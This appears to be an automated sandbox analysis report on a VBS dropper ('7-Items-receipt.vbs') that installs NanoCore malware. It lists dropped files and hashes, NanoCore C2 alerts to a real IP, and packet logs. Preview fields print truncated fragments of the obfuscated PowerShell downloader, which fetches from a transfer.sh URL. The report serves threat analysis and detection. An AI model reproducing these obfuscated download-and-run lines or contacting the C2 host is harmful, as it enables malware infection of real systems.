                        SHA-256:53A1B199B558F4F3487B533BDE3C32E7350A3C761B1AB5244F377FD2D5243B92
                        SHA-512:9841776B20463BBF4A9CF0751BC7FD58C50BD4F134F79F0C724919FC4323A678DF7B08DE4E3F5A604FE043347E1AA6AB2D814F3CFDD0061E72C93946CB2999BB
                        Malicious:false
                        Yara Hits:
                        • Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: C:\Users\Public\Run\New.vbs, Author: Florian Roth
                        Preview: Set H = CreateObject("WScript.She"&"ll")..H1 = "POwerSheLL "..H2 = "$SZXDCFVGBHNJSDFGH = 'https://transferH-Hsh/I0xnyr/tytytH-Htxt'.Replace('H-H','.');$SOS='%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-!5-X-!*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%0-X-%7-X-*e-X-!5-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-!5-X-*%-X-!3-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-5!-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-7!-X-%e-X-57-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%7-X-%c-X-%7-X-*c-X-!9-X-!5-X-!e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%0-X-3d-X-%0-X-%7-X-!!-X-!f-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-
                        C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):57895
                        Entropy (8bit):5.07724879463521
                        Encrypted:false
                        SSDEEP:1536:vvI+z30kaAxV3CNBQkj25h4iUxvaV7flJnVv6H15qdpnUSlQOdBQNUzktAHkbNK3:nI+z30NAxV3CNBQkj25qiUvaV7flJnV/
                        MD5:ABF0CA1055207E755309961A7F660E0D
                        SHA1:F886C56CCD77C17EBE81C8BFBFFCC42CBC614458
                        SHA-256:F2161823E2B5F73BBD5C674EA1E610A412370E87E23377B9DB1E6451F5417139
                        SHA-512:3535DB5640324B1E39616B23F30BE723F16446E5747A5FEC69F8090C0EDEE489E129BA9C6CC1EB5E290620570DFABC73F1CF116042B006BD692F7671A078D4CC
                        Malicious:false
                        Preview: PSMODULECACHE.X..........I...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\SmbShare\SmbShare.psd1L.......gsmbo........gsmbm........Enable-SmbDelegation.... ...Remove-SmbMultichannelConstraint........gsmbd........gsmbb........gsmbc........gsmba........Set-SmbPathAcl........Grant-SmbShareAccess........Get-SmbBandWidthLimit........rsmbm........New-SmbGlobalMapping........rsmbb........Get-SmbGlobalMapping........Remove-SmbShare........rksmba........gsmbmc........rsmbs........Get-SmbConnection........rsmbt........Remove-SmbBandwidthLimit........Set-SmbServerConfiguration........cssmbo........udsmbmc........ssmbsc........ssmbb........Get-SmbShareAccess........Get-SmbOpenFile........dsmbd........ssmbs........ssmbp........nsmbgm........ulsmba........Close-SmbOpenFile........Revoke-SmbShareAccess........nsmbt........Disable-SmbDelegation........nsmbs........Block-SmbShareAccess........gsmbcn........Set-SmbBandwidthLimit........Get-SmbClientConfiguration........Get-SmbSession........Get-Sm
                        C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):64
                        Entropy (8bit):0.9260988789684415
                        Encrypted:false
                        SSDEEP:3:Nlllulb/lj:NllUb/l
                        MD5:13AF6BE1CB30E2FB779EA728EE0A6D67
                        SHA1:F33581AC2C60B1F02C978D14DC220DCE57CC9562
                        SHA-256:168561FB18F8EBA8043FA9FC4B8A95B628F2CF5584E5A3B96C9EBAF6DD740E3F
                        SHA-512:1159E1087BC7F7CBB233540B61F1BDECB161FF6C65AD1EFC9911E87B8E4B2E5F8C2AF56D67B33BC1F6836106D3FEA8C750CC24B9F451ACF85661E0715B829413
                        Malicious:false
                        Preview: @...e................................................@..........
                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dkx43apt.wcr.ps1
                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        File Type:very short file (no magic)
                        Category:dropped
                        Size (bytes):1
                        Entropy (8bit):0.0
                        Encrypted:false
                        SSDEEP:3:U:U
                        MD5:C4CA4238A0B923820DCC509A6F75849B
                        SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                        SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                        SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                        Malicious:false
                        Preview: 1
                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rxsw0xy5.je5.psm1
                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        File Type:very short file (no magic)
                        Category:dropped
                        Size (bytes):1
                        Entropy (8bit):0.0
                        Encrypted:false
                        SSDEEP:3:U:U
                        MD5:C4CA4238A0B923820DCC509A6F75849B
                        SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                        SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                        SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                        Malicious:false
                        Preview: 1
                        C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\catalog.dat
                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1624
                        Entropy (8bit):7.089541637477408
                        Encrypted:false
                        SSDEEP:48:IknjhUknjhUknjhUknjhUknjhUknjhUknjhL:HjhDjhDjhDjhDjhDjhDjhL
                        MD5:74AACAE24C76D8BE7578A460BAE23521
                        SHA1:523B694F22C1E962B7234BE9637DA09060CFB0C1
                        SHA-256:2EFF42A56A82D1EB8E689FE73F5471B111FA17F1ECF72B90A731B59AFF691BFB
                        SHA-512:5D715F8D14841552E280A9A5A5F749B23EEEBE713F7E95B288D921982800F2AB1FAAFDA67E420F28D882BF5904799E6BE62D4CAE451507FFB5EC3631B5D11FF6
                        Malicious:false
                        Preview: Gj.h\.3.A...5.x..&...i+..c(1.P..P.cLT...A.b........4h...t.+..Z\.. .i.... S....}FF.2...h.M+....L.#.X..+......*....~f.G0^..;....W2.=...K.~.L..&f...p............:7rH}..../H......L...?...A.K...J.=8x!....+.2e'..E?.G......[.&Gj.h\.3.A...5.x..&...i+..c(1.P..P.cLT...A.b........4h...t.+..Z\.. .i.... S....}FF.2...h.M+....L.#.X..+......*....~f.G0^..;....W2.=...K.~.L..&f...p............:7rH}..../H......L...?...A.K...J.=8x!....+.2e'..E?.G......[.&Gj.h\.3.A...5.x..&...i+..c(1.P..P.cLT...A.b........4h...t.+..Z\.. .i.... S....}FF.2...h.M+....L.#.X..+......*....~f.G0^..;....W2.=...K.~.L..&f...p............:7rH}..../H......L...?...A.K...J.=8x!....+.2e'..E?.G......[.&Gj.h\.3.A...5.x..&...i+..c(1.P..P.cLT...A.b........4h...t.+..Z\.. .i.... S....}FF.2...h.M+....L.#.X..+......*....~f.G0^..;....W2.=...K.~.L..&f...p............:7rH}..../H......L...?...A.K...J.=8x!....+.2e'..E?.G......[.&Gj.h\.3.A...5.x..&...i+..c(1.P..P.cLT...A.b........4h...t.+..Z\.. .i.
                        C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\run.dat
                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):8
                        Entropy (8bit):2.75
                        Encrypted:false
                        SSDEEP:3:7H8n:L8
                        MD5:5A7CD189703BDD8B6E5852251D3D448A
                        SHA1:35810443E06B6C42A6CF7399EF51583939770803
                        SHA-256:A4F4E3CCC01EFD5211A586594B0122D93D98C097FC1020BC44806A2BD0D6415E
                        SHA-512:0DCABA6FFD2388CB908F48FB57306549787E3DA7F9048A0C89CE69B063B9FB7EF2084FA96F74C5BC39AC111B7C5FD3F477BD5DE9087E550DEFFED649090360C6
                        Malicious:true
                        Preview: xP...x.H
                        C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\settings.bin
                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):40
                        Entropy (8bit):5.153055907333276
                        Encrypted:false
                        SSDEEP:3:9bzY6oRDT6P2bfVn1:RzWDT621
                        MD5:4E5E92E2369688041CC82EF9650EDED2
                        SHA1:15E44F2F3194EE232B44E9684163B6F66472C862
                        SHA-256:F8098A6290118F2944B9E7C842BD014377D45844379F863B00D54515A8A64B48
                        SHA-512:1B368018907A3BC30421FDA2C935B39DC9073B9B1248881E70AD48EDB6CAA256070C1A90B97B0F64BBE61E316DBB8D5B2EC8DBABCD0B0B2999AB50B933671ECB
                        Malicious:false
                        Preview: 9iH...}Z.4..f.~a........~.~.......3.U.
                        C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\storage.dat
                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):327768
                        Entropy (8bit):7.999367066417797
                        Encrypted:true
                        SSDEEP:6144:oX44S90aTiB66x3PlZmqze1d1wI8lkWmtjJ/3Exi:LkjbU7LjGxi
                        MD5:2E52F446105FBF828E63CF808B721F9C
                        SHA1:5330E54F238F46DC04C1AC62B051DB4FCD7416FB
                        SHA-256:2F7479AA2661BD259747BC89106031C11B3A3F79F12190E7F19F5DF65B7C15C8
                        SHA-512:C08BA0E3315E2314ECBEF38722DF834C2CB8412446A9A310F41A8F83B4AC5984FCC1B26A1D8B0D58A730FDBDD885714854BDFD04DCDF7F582FC125F552D5C3CA
                        Malicious:false
                        Preview: pT..!..W..G.J..a.).@.i..wpK.so@...5.=.^..Q.oy.=e@9.B...F..09u"3.. 0t..RDn_4d.....E...i......~...|..fX_...Xf.p^......>a..$...e.6:7d.(a.A...=.)*.....{B.[...y%.*..i.Q.<..xt.X..H.. ..HF7g...I.*3.{.n....L.y;i..s-....(5i...........J.5b7}..fK..HV..,...0.... ....n.w6PMl.......v."".v.......#..X.a....../...cC...i..l{>5n.._+.e.d'...}...[..../...D.t..GVp.zz......(...o......b...+`J.{....hS1G.^*I..v&.jm.#u..1..Mg!.E..U.T.....6.2>...6.l.K.w"o..E..."K%{....z.7....<...,....]t.:.....[.Z.u...3X8.QI..j_.&..N..q.e.2...6.R.~..9.Bq..A.v.6.G..#y.....O....Z)G...w..E..k(....+..O..........Vg.2xC......O...jc.....z..~.P...q../.-.'.h.._.cj.=..B.x.Q9.pu.|i4...i...;O...n.?.,. ....v?.5}.OY@.dG|<.._[.69@.2..m..I..oP=...xrK.?............b..5....i&...l.c\b}..Q..O+.V.mJ.....pz....>F.......H...6$...d...|m...N..1.R..B.i..........$....$........CY}..$....r.....H...8...li.....7 P......?h....R.iF..6...q(.@LI.s..+K.....?m..H....*. l..&<}....`|.B....3.....I..o...u1..8i=.z.W..7
                        C:\Users\user\Documents\20210914\PowerShell_transcript.405464.2URGAS01.20210914212438.txt
                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        File Type:UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators
                        Category:dropped
                        Size (bytes):12051
                        Entropy (8bit):4.437564639577834
                        Encrypted:false
                        SSDEEP:192:Y4yyyyyyyyyyyyyyRyyyyyyyyyyyyyyjXWi8yyyyyyyyyyyAnmyyyyyyyyyyyimp:pX+amXRX+amXVX+amXrvyGLGLwT
                        MD5:0552FFB39EAC1A95620250EA445B964C
                        SHA1:087B8E685616028B29F8B55DAF46869262BB7362
                        SHA-256:A0D78CEAB1BBAB87736796FA7CAD12B202B583B38CC639D96C5F1BC581FF3781
                        SHA-512:6715C346EC0E03478125925D87BDA59E4EED040B65CB052B3B08437656D76E479E02B01B3D17801F6F025A13099B093480957A38962F6F480217A2A75DDA381A
                        Malicious:false
                        Preview: .**********************..Windows PowerShell transcript start..Start time: 20210914212438..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 405464 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe $SZXDCFVGBHNJSDFGH = 'https://transferH-Hsh/KgBbue/cxderfH-Htxt'.Replace('H-H','.');$SOS='%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-!5-X-!*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%0-X-%7-X-*e-X-!5-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-!5-X-*%-X-!3-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-5!-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-7!-X-%e-X-57-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X

                        Static File Info

                        General

                        File type:ASCII text, with very long lines, with CRLF line terminators
                        Entropy (8bit):3.658468823072679
                        TrID:
                          File name:7-Items-receipt.vbs
                          File size:3097
                          MD5:54467281d58890e9f3d3fb9997d90a64
                          SHA1:a4bb4f66702c1cdddf82287bdb38b46b885e0006
                          SHA256:8066f56e7cea2bf5ed35ddf325528deff1238bc6a7c1213e1e01eed16be5d830
                          SHA512:58faae1ab8d019052ae37ac7dbab9e67b82fa27a46ea1609798b0e82298694b68a72bbd06b7f8fdeb85f58b93ce0535b2284713ef2bfe93f80d95dd01e5bc28c
                          SSDEEP:96:r4yyyyyyyyyyyyyyRyyyyyyyyyyyyyyjXWipjOyyyyyyyyyyy0lnmyyyyyyyyyyK:r4yyyyyyyyyyyyyyRyyyyyyyyyyyyyyM
                          File Content Preview:Set H = CreateObject("WScript.She"&"ll")..H1 = "POwerSheLL "..H2 = "$SZXDCFVGBHNJSDFGH = 'https://transferH-Hsh/KgBbue/cxderfH-Htxt'.Replace('H-H','.');$SOS='%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-!5-X-!*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%0

                          File Icon

                          Icon Hash:e8d69ece869a9ec4

                          Network Behavior

                          Snort IDS Alerts

                          TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                          09/14/21-21:25:59.049619TCP2025019ET TROJAN Possible NanoCore C2 60B497846700192.168.2.3194.147.140.20
                          09/14/21-21:26:03.628520TCP2025019ET TROJAN Possible NanoCore C2 60B497856700192.168.2.3194.147.140.20
                          09/14/21-21:26:10.015429TCP2025019ET TROJAN Possible NanoCore C2 60B497886700192.168.2.3194.147.140.20
                          09/14/21-21:26:14.544758TCP2025019ET TROJAN Possible NanoCore C2 60B497926700192.168.2.3194.147.140.20
                          09/14/21-21:26:20.907568TCP2025019ET TROJAN Possible NanoCore C2 60B497936700192.168.2.3194.147.140.20
                          09/14/21-21:26:29.215736TCP2025019ET TROJAN Possible NanoCore C2 60B497986700192.168.2.3194.147.140.20
                          09/14/21-21:26:36.230821TCP2025019ET TROJAN Possible NanoCore C2 60B497996700192.168.2.3194.147.140.20
                          09/14/21-21:26:42.359398TCP2025019ET TROJAN Possible NanoCore C2 60B498006700192.168.2.3194.147.140.20
                          09/14/21-21:26:48.480923TCP2025019ET TROJAN Possible NanoCore C2 60B498016700192.168.2.3194.147.140.20
                          09/14/21-21:26:53.090032TCP2025019ET TROJAN Possible NanoCore C2 60B498026700192.168.2.3194.147.140.20
                          09/14/21-21:26:59.902041TCP2025019ET TROJAN Possible NanoCore C2 60B498036700192.168.2.3194.147.140.20
                          09/14/21-21:27:04.858291TCP2025019ET TROJAN Possible NanoCore C2 60B498046700192.168.2.3194.147.140.20
                          09/14/21-21:27:09.952923TCP2025019ET TROJAN Possible NanoCore C2 60B498056700192.168.2.3194.147.140.20
                          09/14/21-21:27:16.740243TCP2025019ET TROJAN Possible NanoCore C2 60B498086700192.168.2.3194.147.140.20
                          09/14/21-21:27:21.104879UDP254DNS SPOOF query response with TTL of 1 min. and no authority53594208.8.8.8192.168.2.3
                          09/14/21-21:27:21.294131TCP2025019ET TROJAN Possible NanoCore C2 60B498156700192.168.2.3194.147.140.20
                          09/14/21-21:27:29.003584TCP2025019ET TROJAN Possible NanoCore C2 60B498186700192.168.2.3194.147.140.20
                          09/14/21-21:27:33.458976UDP254DNS SPOOF query response with TTL of 1 min. and no authority53557088.8.8.8192.168.2.3
                          09/14/21-21:27:33.657054TCP2025019ET TROJAN Possible NanoCore C2 60B498196700192.168.2.3194.147.140.20
                          09/14/21-21:27:40.297868TCP2025019ET TROJAN Possible NanoCore C2 60B498206700192.168.2.3194.147.140.20
                          09/14/21-21:27:44.751619TCP2025019ET TROJAN Possible NanoCore C2 60B498216700192.168.2.3194.147.140.20
                          09/14/21-21:27:49.183542UDP254DNS SPOOF query response with TTL of 1 min. and no authority53553598.8.8.8192.168.2.3
                          09/14/21-21:27:49.423183TCP2025019ET TROJAN Possible NanoCore C2 60B498226700192.168.2.3194.147.140.20
                          09/14/21-21:27:54.126086TCP2025019ET TROJAN Possible NanoCore C2 60B498236700192.168.2.3194.147.140.20
                          09/14/21-21:27:59.101586UDP254DNS SPOOF query response with TTL of 1 min. and no authority53641248.8.8.8192.168.2.3
                          09/14/21-21:27:59.291711TCP2025019ET TROJAN Possible NanoCore C2 60B498246700192.168.2.3194.147.140.20
                          09/14/21-21:28:03.865775TCP2025019ET TROJAN Possible NanoCore C2 60B498256700192.168.2.3194.147.140.20
                          09/14/21-21:28:08.324849TCP2025019ET TROJAN Possible NanoCore C2 60B498266700192.168.2.3194.147.140.20
                          09/14/21-21:28:12.871218TCP2025019ET TROJAN Possible NanoCore C2 60B498276700192.168.2.3194.147.140.20
                          09/14/21-21:28:17.540005TCP2025019ET TROJAN Possible NanoCore C2 60B498286700192.168.2.3194.147.140.20
                          09/14/21-21:28:24.378030UDP254DNS SPOOF query response with TTL of 1 min. and no authority53536428.8.8.8192.168.2.3
                          09/14/21-21:28:24.568532TCP2025019ET TROJAN Possible NanoCore C2 60B498296700192.168.2.3194.147.140.20
                          09/14/21-21:28:31.593192TCP2025019ET TROJAN Possible NanoCore C2 60B498306700192.168.2.3194.147.140.20
                          09/14/21-21:28:38.491382UDP254DNS SPOOF query response with TTL of 1 min. and no authority53548338.8.8.8192.168.2.3
                          09/14/21-21:28:38.682395TCP2025019ET TROJAN Possible NanoCore C2 60B498316700192.168.2.3194.147.140.20

                          Network Port Distribution

                          TCP Packets

                          TimestampSource PortDest PortSource IPDest IP
                          Sep 14, 2021 21:24:54.004400969 CEST49742443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:24:54.004448891 CEST44349742144.76.136.153192.168.2.3
                          Sep 14, 2021 21:24:54.004530907 CEST49742443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:24:54.030313969 CEST49742443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:24:54.030354023 CEST44349742144.76.136.153192.168.2.3
                          Sep 14, 2021 21:24:54.087064981 CEST44349742144.76.136.153192.168.2.3
                          Sep 14, 2021 21:24:54.087188005 CEST49742443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:24:54.090429068 CEST49742443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:24:54.090451002 CEST44349742144.76.136.153192.168.2.3
                          Sep 14, 2021 21:24:54.090837955 CEST44349742144.76.136.153192.168.2.3
                          Sep 14, 2021 21:24:54.129060030 CEST49742443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:24:54.171926022 CEST44349742144.76.136.153192.168.2.3
                          Sep 14, 2021 21:24:54.722121954 CEST44349742144.76.136.153192.168.2.3
                          Sep 14, 2021 21:24:54.722167969 CEST44349742144.76.136.153192.168.2.3
                          Sep 14, 2021 21:24:54.722285986 CEST49742443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:24:54.722313881 CEST44349742144.76.136.153192.168.2.3
                          Sep 14, 2021 21:24:54.722400904 CEST49742443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:24:54.722517967 CEST44349742144.76.136.153192.168.2.3
                          Sep 14, 2021 21:24:54.722604990 CEST49742443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:24:54.722635984 CEST44349742144.76.136.153192.168.2.3
                          Sep 14, 2021 21:24:54.722707987 CEST49742443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:24:54.722718000 CEST44349742144.76.136.153192.168.2.3
                          Sep 14, 2021 21:24:54.726680040 CEST49742443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:25:31.290705919 CEST49774443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:25:31.290796995 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.290899038 CEST49774443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:25:31.291201115 CEST49774443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:25:31.291222095 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.342008114 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.388742924 CEST49774443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:25:31.388786077 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.853420019 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.853467941 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.853600979 CEST49774443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:25:31.853631020 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.853640079 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.853671074 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.853722095 CEST49774443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:25:31.879904032 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.880011082 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.880053043 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.880058050 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.880105972 CEST49774443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:25:31.882812023 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.882831097 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.882847071 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.882859945 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.882878065 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.890233994 CEST49774443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:25:31.890263081 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.890357018 CEST49774443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:25:31.903156042 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.903175116 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.903218031 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.903316021 CEST49774443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:25:31.903362036 CEST49774443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:25:31.903393984 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.903405905 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.903465033 CEST49774443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:25:31.903502941 CEST49774443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:25:31.903506994 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.903543949 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.903556108 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.903590918 CEST49774443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:25:31.903637886 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.903639078 CEST49774443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:25:31.903654099 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.903724909 CEST49774443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:25:31.903795004 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.903883934 CEST49774443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:25:31.905762911 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.905905962 CEST49774443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:25:31.926009893 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.926273108 CEST49774443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:25:31.926274061 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.926291943 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.926395893 CEST49774443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:25:31.926533937 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.926635027 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.926707029 CEST49774443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:25:31.926747084 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.926764965 CEST49774443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:25:31.926793098 CEST49774443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:25:31.926903963 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.927032948 CEST49774443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:25:31.927242994 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.927380085 CEST49774443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:25:31.927494049 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.927558899 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.927711964 CEST49774443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:25:31.927721977 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.927742004 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.927828074 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.927865982 CEST49774443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:25:31.927948952 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.927983999 CEST49774443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:25:31.927992105 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.928091049 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.928302050 CEST49774443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:25:31.928318024 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.928339958 CEST49774443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:25:31.928380013 CEST49774443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:25:31.928775072 CEST44349774144.76.136.153192.168.2.3
                          Sep 14, 2021 21:25:31.928910017 CEST49774443192.168.2.3144.76.136.153
                          Sep 14, 2021 21:25:31.949120045 CEST44349774144.76.136.153192.168.2.3
